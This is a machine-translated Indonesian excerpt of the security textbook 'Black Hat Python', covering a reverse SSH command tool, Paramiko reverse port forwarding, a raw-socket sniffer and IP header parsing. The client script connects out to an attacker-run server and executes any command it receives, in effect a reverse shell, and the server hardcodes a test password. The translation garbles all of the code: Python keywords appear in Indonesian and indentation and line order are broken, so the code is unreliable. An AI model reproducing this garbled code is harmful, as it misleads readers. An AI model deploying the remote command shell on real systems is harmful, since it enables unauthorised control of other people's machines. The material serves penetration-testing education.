Setelah dasar-dasarnya selesai, mari ubah skrip agar dapat menjalankan perintah pada klien
Windows melalui SSH. Tentu saja, saat menggunakan SSH, Anda biasanya menggunakan klien SSH
untuk menyambung ke server SSH, namun karena sebagian besar versi Windows tidak menyertakan
server SSH, kita perlu membalikkannya dan mengirimkan perintah dari server SSH. Server SSH ke
klien SSH.
Buat file baru bernama ssh_rcmd.py dan masukkan yang berikut ini:

impor paramiko
impor shlex
subproses impor

def ssh_command(ip, port, pengguna, sandi, perintah):


klien = paramiko.SSHClient()
klien.set_missing_host_key_policy(paramiko.AutoAddPolicy())
klien.koneksi(ip, port=port, nama pengguna=pengguna, kata sandi=passwd)

ssh_session = klien.get_transport().open_session()
jika ssh_session.aktif:
ssh_session.kirim(perintah)

Jaringan: Dasar-dasar 27
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

print(ssh_session.recv(1024).decode()) sementara
Benar:
command = ssh_session.recv(1024) 1 kali coba:
cmd
= command.decode() if cmd ==
'exit':
klien.close() istirahat

cmd_output = subproses.check_output(shlex.split(cmd), shell=True) 2 ssh_session.send(cmd_output


atau 'oke') 3
kecuali Pengecualian sebagai e:
ssh_session.send(str(e)) client.close()
kembali

jika __name__ == '__main__': impor


getpass pengguna
= getpass.getuser() kata sandi =
getpass.getpass()

ip = input('Masukkan IP server: ') port =


input('Masukkan port: ') ssh_command(ip,
port, pengguna, kata sandi, 'ClientConnected') 4

Program dimulai seperti yang terakhir, dan hal baru dimulai pada loop while
True:. Dalam loop ini, alih-alih menjalankan satu perintah, seperti yang kita lakukan
pada contoh sebelumnya, kita mengambil perintah dari koneksi 1, menjalankan perintah
2, dan mengirim output apa pun kembali ke pemanggil 3.
Juga, perhatikan bahwa perintah pertama yang kami kirimkan adalah ClientConnected 4. Anda akan melakukannya

lihat alasannya ketika kita membuat ujung lain dari koneksi SSH.
Sekarang mari kita menulis sebuah program yang membuat server SSH untuk
klien SSH kita (tempat kita akan menjalankan perintah) untuk terhubung. Ini bisa
berupa sistem Linux, Windows, atau bahkan macOS yang menginstal Python dan Paramiko.
Buat file baru bernama ssh_server.py dan masukkan yang berikut ini:

impor os
impor paramiko
impor soket impor
sys impor
threading

CWD = os.path.dirname(os.path.realpath(__file__))
1 HOSTKEY = paramiko.RSAKey(nama file=os.path.join(CWD, 'test_rsa.key'))

Server kelas 2 (paramiko.ServerInterface): def _init_(self):


self.event =
threading.Event()

def check_channel_request(diri, baik hati, chanid):


if kind == 'sesi':
kembalikan paramiko.OPEN_SUCCEEDED
kembalikan paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

28 Bab 2
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

def check_auth_password(diri, nama pengguna, kata sandi):


if (nama pengguna == 'tim') dan (kata sandi == 'sekret'): kembalikan
paramiko.AUTH_SUCCESSFUL

jika __nama__ == '__utama__':


server = '192.168.1.207' ssh_port
= 2222 coba: sock =

socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 3
sock.bind((server, ssh_port) ) sock.listen(100)
print('[+] Mendengarkan
koneksi ...') klien, addr = sock.accept() kecuali Pengecualian
sebagai e: print('[-] Dengarkan gagal:
sys.exit(1) lain: print('[+] Ada
'
koneksi!', klien, addr) + jalan)

4 bhSession = paramiko.Transport(klien)
bhSession.add_server_key(HOSTKEY) server
= Server()
bhSession.start_server(server=server)

chan = bhSession.accept(20) jika chan


Tidak Ada:
print('*** Tidak ada saluran.')
sys.exit(1)

5 print('[+] Diautentikasi!') 6 print(chan.recv(1024))


chan.send('Selamat datang di bh_ssh')
coba: sementara Benar:

perintah= masukan("Masukkan perintah: ") jika


perintah != 'keluar':
chan.send(command) r =
chan.recv(8192)
print(r.decode()) lain:

chan.send('exit')
print('exiting')
bhSession.close()
istirahat
kecuali KeyboardInterrupt:
bhSession.close()

Untuk contoh ini, kami menggunakan kunci SSH yang disertakan dalam file demo
Paramiko 1. Kami memulai pendengar soket 3, seperti yang kami lakukan sebelumnya
di bab ini, lalu “inisasi SSH” 2 dan konfigurasikan metode otentikasi 4 . Ketika
klien telah mengautentikasi 5 dan mengirimi kami pesan ClientConnected 6, apa pun

Jaringan: Dasar-dasar 29
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

perintah yang kita ketik ke server ssh (mesin yang menjalankan ssh_server.py) dikirim
ke klien ssh (mesin yang menjalankan ssh_rcmd.py) dan dieksekusi di
klien ssh, yang mengembalikan output ke server ssh. Mari kita mencobanya.

Menendang Ban
Untuk demonya, kami akan menjalankan klien di mesin Windows kami (penulis) dan
server di Mac. Di sini kita memulai server:

% python ssh_server.py
[+] Mendengarkan koneksi ...

Sekarang, di mesin Windows, kami memulai klien:

C:\Pengguna\tim>: $ python ssh_rcmd.py


Kata sandi:
Selamat datang di bh_ssh

Dan kembali ke server, kita melihat koneksi:

[+] Punya koneksi! dari ('192.168.1.208', 61852)


[+] Diautentikasi!
Klien Terhubung
Masukkan perintah: whoami
desktop-cc91n7i\tim

Masukkan perintah: ipconfig


Konfigurasi IP Windows
<snip>

Anda dapat melihat bahwa klien berhasil terhubung, dan pada saat itu kami
menjalankan beberapa perintah. Kami tidak melihat apa pun di klien SSH, tetapi perintah
yang kami kirim dieksekusi di klien dan hasilnya dikirim ke SSH kami
server.

Penerowongan SSH

Di bagian terakhir, kami membuat alat yang memungkinkan kami menjalankan perintah
dengan memasukkannya ke klien SSH di server SSH jarak jauh. Teknik lainnya adalah
dengan menggunakan terowongan SSH. Alih-alih mengirimkan perintah ke server,
terowongan SSH akan mengirimkan lalu lintas jaringan yang dikemas dalam SSH, dan
server SSH akan membongkar dan mengirimkannya.
Bayangkan Anda berada dalam situasi berikut: Anda memiliki akses jarak jauh
ke server SSH di jaringan internal, tetapi Anda ingin akses ke server web di jaringan
yang sama. Anda tidak dapat mengakses server web secara langsung. Server yang
sudah terinstal SSH memang memiliki akses, namun server SSH ini tidak memiliki tools
yang ingin Anda gunakan.

30 Bab 2
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Salah satu cara untuk mengatasi masalah ini adalah dengan menyiapkan terowongan SSH ke depan .
Ini akan memungkinkan Anda untuk, misalnya, menjalankan perintah ssh -L 8008:web:80 justin@sshserver
untuk terhubung ke server SSH sebagai pengguna “justin” dan mengatur port 8008 pada sistem lokal Anda. Apa
pun yang Anda kirim ke port 8008 akan melewati terowongan SSH yang ada ke server SSH, yang akan
mengirimkannya ke server web. Gambar 2-1 menunjukkan tindakan ini.

127.0.0.1
Pelabuhan 8008

server SSH

klien SSH

server web
Tampilan sederhana dalam menjalankan perintah
ssh -L 8008:web:80 justin@sshserver Jaringan sasaran

Gambar 2-1: Penerowongan maju SSH

Itu cukup keren, tapi ingat bahwa tidak banyak sistem Windows yang menjalankan layanan server SSH.
Namun tidak semuanya hilang. Kita dapat mengkonfigurasi koneksi tunneling SSH terbalik . Dalam hal ini, kami
terhubung ke server SSH kami sendiri dari klien Windows dengan cara biasa. Melalui koneksi SSH tersebut,
kami juga menentukan port jarak jauh di server SSH yang disalurkan ke host dan port lokal, seperti yang
ditunjukkan pada Gambar 2-2. Kita dapat menggunakan host dan port lokal ini, misalnya, untuk mengekspos
port 3389 agar dapat mengakses sistem internal menggunakan Remote Desktop atau untuk mengakses sistem
lain yang dapat diakses oleh klien Windows (seperti server web dalam contoh kita).

127.0.0.1
Pelabuhan 8008

klien SSH

server SSH

server web
Tampilan sederhana dalam menjalankan perintah
ssh -L 8008:web:80 justin@sshserver Jaringan sasaran

Gambar 2-2: Penerowongan terbalik SSH

Jaringan: Dasar-dasar 31
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

File demo Paramiko menyertakan file bernama rforward.py yang melakukan


hal ini. Ini berfungsi dengan sempurna sebagaimana adanya, jadi kami tidak akan
mencetak ulang file tersebut di buku ini. Namun, kami akan menunjukkan beberapa
poin penting dan memberikan contoh cara menggunakannya. Buka rforward.py, lewati
ke main(), dan ikuti:

def main():
opsi, server, remote = parse_options() 1 kata sandi = Tidak
ada jika
options.readpass: kata
sandi = getpass.getpass('Masukkan kata sandi SSH: ') klien =
paramiko.SSHClient() 2
klien.load_system_host_keys()
klien .set_missing_host_key_policy(paramiko.WarningPolicy())

verbose('Menghubungkan ke ssh host %s:%d ...' % (server[0], server[1])) coba:

client.connect(server[0], server[1], nama

pengguna=pilihan.pengguna ,
key_filename=options.keyfile,
look_for_keys=options.look_for_keys, kata
sandi=kata sandi

) kecuali Pengecualian sebagai


e: print('*** Gagal terhubung ke %s:%d: %r' % (server[0], server[1], e)) sys.exit(1)

verbose( 'Sekarang meneruskan port jarak jauh %d ke %s:%d ...' %


(options.port, remote[0], remote[1])
)

coba:
reverse_forward_tunnel( 3 opsi.port,
jarak jauh[0], jarak jauh[1], klien.get_transport()

) kecuali KeyboardInterrupt:
print('Cc: Penerusan port dihentikan.') sys.exit(0)

Beberapa baris di atas 1 periksa kembali untuk memastikan semua argumen yang diperlukan
diteruskan ke skrip sebelum menyiapkan koneksi klien Paramiko SSH 2 (yang seharusnya terlihat
sangat familiar). Bagian terakhir di main() memanggil fungsi reverse_forward_tunnel 3.

Mari kita lihat fungsinya.

def reverse_forward_tunnel(server_port, remote_host, remote_port, transport): 1 transport.request_port_forward('',


server_port) sementara Benar:

2 chan = transport.accept(1000) jika chan Tidak


Ada: lanjutkan

32 Bab 2
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

3 thr = threading.Thread( target=handler,


args=(chan, remote_host, remote_port)
)

thr.setDaemon(Benar)
thr.start()

Di Paramiko, ada dua metode komunikasi utama: transport, yang bertanggung jawab untuk
membuat dan memelihara koneksi terenkripsi, dan saluran, yang bertindak seperti soket untuk
mengirim dan menerima data melalui sesi transport terenkripsi. Di sini kita mulai menggunakan
request_port_ forward Paramiko untuk meneruskan koneksi TCP dari port 1 di server SSH dan
memulai saluran transport baru 2. Kemudian, melalui saluran tersebut, kita memanggil fungsi
handler 3.

Tapi kita belum selesai. Kita perlu mengkodekan fungsi handler untuk mengelola
komunikasi untuk setiap thread:

def handler(chan, host, port): sock =


socket.socket() coba:

sock.connect((host, port)) kecuali Pengecualian


sebagai e: verbose('Meneruskan
permintaan ke %s:%d gagal: %r' % (host, port, e)) kembali

verbose( 'Tersambung! Terowongan terbuka %r -> %r -> %r'


% (chan.origin_addr, chan.getpeername(), (host, port))

) sementara Benar: 1
r, w, x = select.select([sock, chan], [], []) jika kaus kaki di r:

data = sock.recv(1024) if
len(data) == 0: break

chan.send(data)
jika chan di r: data
= chan.recv(1024) jika len(data)
== 0: rusak

sock.send(data)
chan.close()
sock.close()
verbose('Terowongan ditutup dari %r' % (chan.origin_addr,))

Dan terakhir data terkirim dan diterima 1. Kita coba di bagian selanjutnya.

Jaringan: Dasar-dasar 33
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Menendang Ban
Kami akan menjalankan rforward.py dari sistem Windows kami dan mengkonfigurasinya menjadi
perantara saat kami menyalurkan lalu lintas dari server web ke server Kali SSH kami:

C:\Pengguna\tim> python rforward.py 192.168.1.203 -p 8081 -r 192.168.1.207:3000 --pengguna=tim --kata sandi

Masukkan kata sandi SSH:


Menghubungkan ke ssh host 192.168.1.203:22 . . .
Sekarang meneruskan port jarak jauh 8081 ke 192.168.1.207:3000 . . .

Anda dapat melihatnya di mesin Windows, kami membuat koneksi ke server SSH di
192.168.1.203 dan membuka port 8081 di server itu, yang akan meneruskan lalu lintas ke
192.168.1.207 port 3000. Sekarang jika kita browsing ke http:// 127.0 .0.1:8081 di server
Linux kami, kami terhubung ke server web di 192.168.1.207:3000 melalui terowongan SSH,
seperti yang ditunjukkan pada Gambar 2-3.

Gambar 2-3: Contoh terowongan SSH terbalik

Jika Anda kembali ke mesin Windows, Anda juga dapat melihat koneksi dibuat di
Paramiko:

Terhubung! Terowongan terbuka ('127.0.0.1', 54690) -> ('192.168.1.203', 22) -> ('192.168.1.207', 3000)

SSH dan SSH tunneling adalah konsep penting untuk dipahami dan digunakan. Topi
hitam harus mengetahui kapan dan bagaimana melakukan terowongan SSH dan SSH, dan
Paramiko memungkinkan untuk menambahkan kemampuan SSH ke alat Python Anda yang
sudah ada.
Kami telah membuat beberapa alat yang sangat sederhana namun sangat berguna
dalam bab ini. Kami mendorong Anda untuk memperluas dan memodifikasinya seperlunya
untuk mengembangkan pemahaman yang kuat tentang fitur jaringan Python. Anda dapat
menggunakan alat ini selama uji penetrasi, pasca eksploitasi, atau berburu bug. Mari beralih
menggunakan soket mentah dan melakukan sniffing jaringan. Lalu kita akan menggabungkan
keduanya untuk membuat pemindai penemuan host Python murni.

34 Bab 2
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

3
JARINGAN : RAWSOCKETS
DAN MENGendus

Sniffer jaringan memungkinkan Anda melihat


paket masuk dan keluar dari mesin target. Hasilnya,
mereka mempunyai banyak kegunaan praktis
sebelum dan sesudah eksploitasi. Dalam beberapa
kasus, Anda dapat menggunakan alat sniffing yang ada seperti Wireshark (htt
wireshark.org/) atau solusi Pythonic seperti Scapy (yang
akan kita jelajahi di bab berikutnya). Namun demikian, ada
keuntungan mengetahui cara menyatukan quick sniffer
Anda sendiri untuk melihat dan memecahkan kode lalu lintas jaringan.
Menulis alat seperti ini juga akan memberi Anda apresiasi yang mendalam terhadap alat yang
matang, karena alat ini dapat menangani poin-poin penting tanpa kesulitan dengan sedikit
usaha dari Anda. Anda juga mungkin akan mempelajari beberapa teknik Python baru dan
mungkin pemahaman yang lebih baik tentang cara kerja bit jaringan tingkat rendah.
Pada bab sebelumnya, kita telah membahas cara mengirim dan menerima data
menggunakan TCP dan UDP. Ini mungkin cara Anda berinteraksi dengan sebagian besar layanan jaringan.
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Namun di bawah protokol tingkat yang lebih tinggi ini terdapat blok bangunan yang menentukan
bagaimana paket jaringan dikirim dan diterima. Anda akan menggunakan soket mentah untuk
mengakses informasi jaringan tingkat rendah, seperti header Internet Protocol (IP) dan Internet
Control Message Protocol (ICMP). Kami tidak akan memecahkan kode informasi Ethernet apa pun
dalam bab ini, tetapi jika Anda bermaksud melakukan serangan tingkat rendah, seperti keracunan
ARP, atau sedang mengembangkan alat penilaian nirkabel, Anda harus mengenal frame Ethernet
dan penggunaannya secara mendalam.

Mari kita mulai dengan panduan singkat tentang cara menemukan host aktif di segmen
jaringan.

Membangun Alat Penemuan Host UDP


Tujuan utama sniffer kami adalah menemukan host di jaringan target. Penyerang ingin dapat
melihat semua target potensial di jaringan sehingga mereka dapat memfokuskan upaya pengintaian
dan eksploitasi.
Kami akan menggunakan perilaku yang diketahui pada sebagian besar sistem operasi
untuk menentukan apakah ada host aktif pada alamat IP tertentu. Ketika kita mengirim datagram
UDP ke port tertutup pada sebuah host, host tersebut biasanya mengirimkan kembali pesan ICMP
yang menunjukkan bahwa port tersebut tidak dapat dijangkau. Pesan ICMP ini memberi tahu kita
bahwa ada host yang hidup, karena jika tidak ada host, kita mungkin tidak akan menerima respons
apa pun terhadap datagram UDP. Oleh karena itu, penting bagi kita untuk memilih port UDP yang
kemungkinan besar tidak akan digunakan. Untuk cakupan maksimum, kita dapat memeriksa
beberapa port untuk memastikan kita tidak menggunakan layanan UDP yang aktif.
Mengapa Protokol Datagram Pengguna? Ya, tidak ada biaya tambahan dalam penyemprotan
pesan di seluruh subnet dan menunggu tanggapan ICMP tiba. Ini adalah pemindai yang cukup
sederhana untuk dibuat, karena sebagian besar pekerjaan dilakukan untuk mendekode dan
menganalisis berbagai header protokol jaringan. Kami akan menerapkan pemindai host ini untuk
Windows dan Linux untuk memaksimalkan kemungkinan menggunakannya dalam lingkungan
perusahaan.

Kami juga dapat membangun logika tambahan ke dalam pemindai kami untuk memulai
pemindaian port Nmap secara penuh pada host mana pun yang kami temukan. Dengan begitu,
kami dapat menentukan apakah mereka memiliki permukaan serangan jaringan yang layak.
Ini adalah latihan yang tersisa untuk pembaca, dan kami sebagai penulis menantikan beberapa
cara kreatif untuk memperluas konsep inti ini. Mari kita mulai.

Packet Sniffing pada Windows dan Linux


Proses mengakses soket mentah di Windows sedikit berbeda dibandingkan di Linux, namun
kami menginginkan fleksibilitas untuk menerapkan sniffer yang sama ke berbagai platform. Untuk
memperhitungkan hal ini, kita akan membuat objek soket dan kemudian menentukan platform
mana yang kita jalankan. Windows mengharuskan kita untuk melakukannya

36 Bab 3
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
1
atur beberapa tanda tambahan melalui kontrol input/output soket (IOCTL),
yang mengaktifkan mode promiscuous pada antarmuka jaringan. Dalam contoh pertama,
kita cukup menyiapkan sniffer soket mentah, membaca dalam satu paket, lalu keluar:

soket impor
impor mereka

# pembawa acara untuk mendengarkan

TUAN RUMAH = '192.168.1.203'

def utama():
# buat soket mentah, masukkan ke antarmuka publik
jika os.nama == 'nt':
soket_protokol = soket.IPPROTO_IP
kalau tidak:

soket_protokol = soket.IPPROTO_ICMP

1 sniffer = soket.socket(socket.AF_INET, soket.SOCK_RAW, socket_protocol)


sniffer.bind((HOST, 0))
# sertakan header IP dalam tangkapan
2 sniffer.setsockopt(soket.IPPROTO_IP, soket.IP_HDRINCL, 1)

3 jika os.nama == 'nt':


sniffer.ioctl(soket.SIO_RCVALL, soket.RCVALL_ON)

# membaca satu paket


4 cetak(sniffer.recvfrom(65565))

# jika kita di Windows, matikan mode promiscuous


5 jika os.nama == 'nt':
sniffer.ioctl(soket.SIO_RCVALL, soket.RCVALL_OFF)

jika __nama__ == '__utama__':


utama()

Kita mulai dengan mendefinisikan HOST IP ke alamat mesin kita sendiri dan membangun
objek soket kita dengan parameter yang diperlukan untuk mengendus paket pada antarmuka
jaringan kita 1. Perbedaan antara Windows dan Linux adalah bahwa Windows akan
memungkinkan kita untuk mengendus semua paket yang masuk. dari pro-tocol, sedangkan
Linux memaksa kita untuk menentukan bahwa kita sedang mengendus paket ICMP.
Perhatikan bahwa kami menggunakan mode promiscuous, yang memerlukan hak administratif
di Windows atau root di Linux. Mode promiscuous memungkinkan kita mengendus semua
paket yang dilihat kartu jaringan, bahkan paket yang tidak ditujukan untuk host spesifik kita.
Kemudian kami menetapkan opsi soket 2 yang menyertakan header IP dalam paket yang
kami ambil. Langkah 3 berikutnya adalah menentukan apakah kita menggunakan Windows
dan, jika demikian, lakukan langkah tambahan dengan mengirimkan IOCTL ke driver kartu
jaringan untuk mengaktifkan mode promiscuous. Jika Anda menjalankan Windows di
mesin virtual, kemungkinan besar Anda akan mendapat pemberitahuan bahwa tamu

1. Kontrol input/ output (IOCTL) adalah sarana bagi program ruang pengguna untuk berkomunikasi
dengan komponen mode kernel. Silakan baca di sini: http:// en.wikipedia.org/ wiki/ Ioctl.

Jaringan: Soket Mentah dan Sniffing 37


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

sistem operasi mengaktifkan mode promiscuous; Anda, tentu saja, akan mengizinkannya.
Sekarang kita siap untuk melakukan beberapa sniffing, dan dalam hal ini kita hanya mencetak seluruh
paket mentah 4 tanpa decoding paket. Ini hanya untuk menguji untuk memastikan inti kode sniffing
kami berfungsi. Setelah satu paket diendus, kami menguji lagi untuk Windows dan kemudian
menonaktifkan mode promis-cuous 5 sebelum keluar dari skrip.

Menendang Ban
Buka terminal baru atau shell cmd.exe di Windows dan jalankan perintah berikut:

python sniffer.py

Di terminal atau jendela shell lain, Anda memilih host untuk melakukan ping. Di sini, kami akan
melakukan ping ke nostarch.com:

ping nostarch.com

Di jendela pertama tempat Anda menjalankan sniffer, Anda akan melihat


beberapa keluaran kacau yang sangat mirip dengan berikut ini:

(b'E\x00\x00T\xad\xcc\x00\x00\x80\x01\n\x17h\x14\xd1\x03\xac\x10\x9d\x9d\x00\
x00g,\rv\x00\x01\xb6L\x1b^\x00\x00\x00\x00\xf1\xde\t\x00\x00\x00\x00\x00\x10\
x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f
!"#$%&\'()*+,-./01234567', ('104.20.209.3', 0))

Anda dapat melihat bahwa kami telah menangkap permintaan ping ICMP awal yang ditujukan
untuk nostarch.com (berdasarkan tampilan IP untuk nostarch.com, 104.20.209.3, di akhir
keluaran). Jika Anda menjalankan contoh ini di Linux, Anda akan menerima respons dari
nostarch.com.
Mengendus satu paket tidak terlalu berguna, jadi mari tambahkan beberapa fungsi untuk
memproses lebih banyak paket dan memecahkan kode isinya.

Menguraikan Lapisan IP
Dalam bentuknya yang sekarang, sniffer kami menerima semua header IP, bersama dengan protokol
yang lebih tinggi seperti TCP, UDP, atau ICMP. Informasi tersebut dikemas dalam bentuk biner
dan, seperti yang ditunjukkan sebelumnya, cukup sulit untuk dipahami.
Mari kita bekerja memecahkan kode bagian IP suatu paket sehingga kita dapat mengambil informasi
berguna darinya, seperti jenis protokol (TCP, UDP, atau ICMP) serta alamat IP sumber dan tujuan.
Ini akan menjadi landasan untuk penguraian protokol lebih lanjut nanti.

Jika kita memeriksa seperti apa paket sebenarnya di jaringan, Anda harus memahami
bagaimana kita perlu memecahkan kode paket masuk. Lihat Gambar 3-1 untuk susunan header
IP.

38 Bab 3
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

protokol internet
Sedikit

0–3 4–7 8–15 16–18 19–31


Mengimbangi

HDR
0 Versi: kapan Panjang Jenis Layanan Panjang total
32 Identifikasi Bendera Pengimbangan Fragmen

64 Saatnya untuk Hidup Protokol Pemeriksaan Tajuk

96 Alamat IP Sumber

128 Alamat IP tujuan

160 Pilihan

Gambar 3-1: Struktur header IPv4 pada umumnya

Kami akan memecahkan kode seluruh header IP (kecuali bidang Opsi)


dan mengekstrak jenis protokol, sumber, dan alamat IP tujuan. Ini berarti kita
akan bekerja secara langsung dengan biner, dan kita harus membuat strategi
untuk memisahkan setiap bagian dari header IP menggunakan Python.
Di Python, ada beberapa cara untuk memasukkan data biner eksternal ke
dalam struktur data. Anda dapat menggunakan modul ctypes atau modul struct
untuk menentukan struktur data. Modul ctypes adalah pustaka fungsi asing untuk
Python. Ini menyediakan jembatan ke bahasa berbasis C, memungkinkan Anda
menggunakan tipe data yang kompatibel dengan C dan fungsi panggilan di
perpustakaan bersama. Di sisi lain, struct mengkonversi antara nilai-nilai Python
dan struct C yang direpresentasikan sebagai objek byte Python. Dengan kata lain,
modul ctypes menangani tipe data biner selain menyediakan banyak fungsi lainnya, sedangkan s
modul terutama menangani data biner.
Anda akan melihat kedua metode yang digunakan saat menjelajahi repositori alat di web.
Bagian ini menunjukkan cara menggunakan masing-masing header untuk membaca header IPv4
dari jaringan. Terserah Anda untuk memutuskan metode mana yang Anda sukai; keduanya
akan bekerja dengan baik.

Modul ctypes
Cuplikan kode berikut mendefinisikan kelas baru, IP, yang dapat membaca paket
dan mengurai header ke dalam kolom terpisah:
*
dari soket impor
impor ctypes
impor struktur

kelas IP (Struktur):
_bidang_ = [
("ihl", c_ubita, 4), # 4 bit karakter yang tidak ditandatangani

("versi", c_ubita, 4), # 4 bit karakter yang tidak ditandatangani

Jaringan: Soket Mentah dan Sniffing 39


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

("tos", c_ubyte, 8), ("len", c_ushort, 16), # 1 byte karakter


("id", c_ushort, 16), ("offset", c_ushort, # 2 byte tidak ditandatangani pendek
16), ("ttl", c_ubyte, 8), ("protokol_num", # 2 byte tidak ditandatangani pendek
c_ubyte, 8), ("jumlah", c_ushort, 16), # 2 byte tidak ditandatangani pendek
("src", c_uint32, 32), ("dst", c_uint32, 32) # 1 byte karakter
# 1 byte karakter
# 2 byte tidak ditandatangani pendek
# 4 byte tidak ditandatangani ke dalam

# 4 byte tidak ditandatangani ke dalam


]
def __baru__(cls, socket_buffer=Tidak Ada):
kembalikan cls.from_buffer_copy(socket_buffer)

def __init__(mandiri, socket_buffer=Tidak Ada):


# alamat IP yang dapat dibaca manusia
self.src_address = soket.inet_ntoa(struct.pack("<L",self.src))
self.dst_address = soket.inet_ntoa(struct.pack("<L",self.dst))

Kelas ini membuat struktur _fields_ untuk mendefinisikan setiap bagian dari
header IP. Strukturnya menggunakan tipe C yang didefinisikan dalam modul ctypes .
Misalnya tipe c_ubtye adalah unsigned char, tipe c_ushort adalah unsigned short,
dan seterusnya. Anda dapat melihat bahwa setiap bidang cocok dengan diagram header
IP pada Gambar 3-1. Setiap deskripsi bidang memerlukan tiga argumen: nama
bidang (misalnya ihl atau offset), jenis nilai yang digunakan (misalnya c_ubyte atau
c_ushort), dan lebar bit untuk bidang tersebut (misalnya 4 untuk ihl dan versi ). Mampu
menentukan lebar bit sangat berguna karena memberikan kebebasan untuk
menentukan panjang apa pun yang kita perlukan, tidak hanya pada tingkat byte
(spesifikasi pada tingkat byte akan memaksa bidang yang ditentukan untuk selalu
kelipatan 8 bit).
Kelas IP mewarisi dari kelas Struktur modul ctypes , yang menetapkan bahwa kita harus
memiliki struktur _fields_ yang ditentukan sebelum membuat objek apa pun. Untuk mengisi
struktur _fields_ , kelas Structure menggunakan __new__
metode, yang mengambil referensi kelas sebagai argumen pertama. Ini membuat dan
mengembalikan objek kelas, yang diteruskan ke metode __init__ . Saat kita
membuat objek IP, kita akan melakukannya seperti biasa, namun di bawahnya, Python
memanggil __new__, yang mengisi struktur data _fields_ segera sebelum objek dibuat
(saat metode __init__ dipanggil). Selama Anda telah mendefinisikan strukturnya
sebelumnya, Anda cukup meneruskan metode __new__ ke data paket jaringan eksternal,
dan bidang tersebut akan muncul secara ajaib sebagai atribut objek Anda.

Anda sekarang memiliki gagasan tentang cara memetakan tipe data C ke nilai header IP.
Menggunakan kode C sebagai referensi saat menerjemahkan ke objek Python dapat bermanfaat,
karena konversi ke Python murni berjalan lancar. Lihat ctypesnya
dokumentasi untuk rincian lengkap tentang bekerja dengan modul ini.

40 Bab 3
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Modul struct
Modul struct menyediakan karakter format yang dapat Anda gunakan untuk
menentukan struktur data biner. Dalam contoh berikut, kita akan sekali lagi
mendefinisikan kelas IP untuk menyimpan informasi header. Namun kali ini, kita
akan menggunakan karakter format untuk mewakili bagian header:

impor alamat IP
impor struktur

IP kelas:
def __init__(mandiri, buff=Tidak ada):
header = struct.unpack('<BBHHHBBH4s4s', buff)
1 diri.ver = tajuk[0] >> 4
2 self.ihl = tajuk[0] & 0xF

self.tos = tajuk[1]
diri.len = tajuk[2]
diri.id = tajuk[3]
mandiri.offset = tajuk[4]
diri.ttl = tajuk[5]
self.protocol_num = tajuk[6]
mandiri.sum = tajuk[7]
diri.src = tajuk[8]
diri.dst = tajuk[9]

# alamat IP yang dapat dibaca manusia


self.src_address = alamat ipad.ip_address(self.src)
self.dst_address = alamat ipad.ip_address(self.dst)

# memetakan konstanta protokol ke namanya


self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"}

Karakter format pertama (dalam kasus kami, <) selalu menentukan endianness
data, atau urutan byte dalam bilangan biner. Tipe C direpresentasikan dalam
format asli mesin dan urutan byte. Dalam hal ini, kita menggunakan Kali (x64),
yang merupakan little-endian. Dalam mesin little-endian, byte terkecil disimpan
di alamat bawah, dan byte paling signifikan di alamat tertinggi.

Karakter format berikutnya mewakili masing-masing bagian header.


Modul struct menyediakan beberapa karakter format. Untuk header IP, kita hanya
memerlukan karakter format B (1-byte unsigned char), H (2-byte unsigned short),
dan s (array byte yang memerlukan spesifikasi lebar byte; 4s berarti string 4-byte ).
Perhatikan bagaimana format string kita cocok dengan struktur diagram header IP
pada Gambar 3-1.
Ingatlah bahwa dengan ctypes, kita dapat menentukan lebar bit dari masing-masing
bagian header. Dengan struct, tidak ada karakter format untuk nybble (unit data 4-bit, juga
dikenal sebagai nibble), jadi kita harus melakukan beberapa manipulasi untuk mendapatkan
variabel ver dan hdrlen dari bagian pertama header.

Jaringan: Soket Mentah dan Sniffing 41


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Dari byte pertama data header yang kami terima, kami ingin menetapkan ver
hanya variabel nybble tingkat tinggi (nibble pertama dalam byte). Cara umum untuk
mendapatkan nybble tingkat tinggi dari sebuah byte adalah dengan menggeser byte ke
kanan sebanyak empat tempat, yang setara dengan menambahkan empat angka nol di
depan byte, menyebabkan empat bit terakhir turun 1. Ini meninggalkan kita hanya dengan
gigitan pertama dari byte asli. Kode Python pada dasarnya melakukan hal berikut:

0 1 0 1 0 1 1 0 >> 4
-----------------------------
0 0 0 0 0 1 0 1

Kita ingin menetapkan variabel hdrlen sebagai nybble orde rendah , atau empat
bit terakhir dari byte. Cara umum untuk mendapatkan nybble kedua dari sebuah byte
adalah dengan menggunakan operator Boolean AND dengan 0xF (00001111) 2. Ini
menerapkan operasi Boolean sehingga 0 AND 1 menghasilkan 0 (karena 0 setara
dengan FALSE dan 1 setara dengan TRUE ). Agar ekspresi menjadi benar, bagian
pertama dan bagian terakhir harus benar. Oleh karena itu, operasi ini menghapus empat
bit pertama, karena apa pun yang diberi AND dengan 0 akan menjadi 0. Empat bit
terakhir tidak diubah, karena apa pun yang diberi AND dengan 1 akan mengembalikan nilai aslinya.
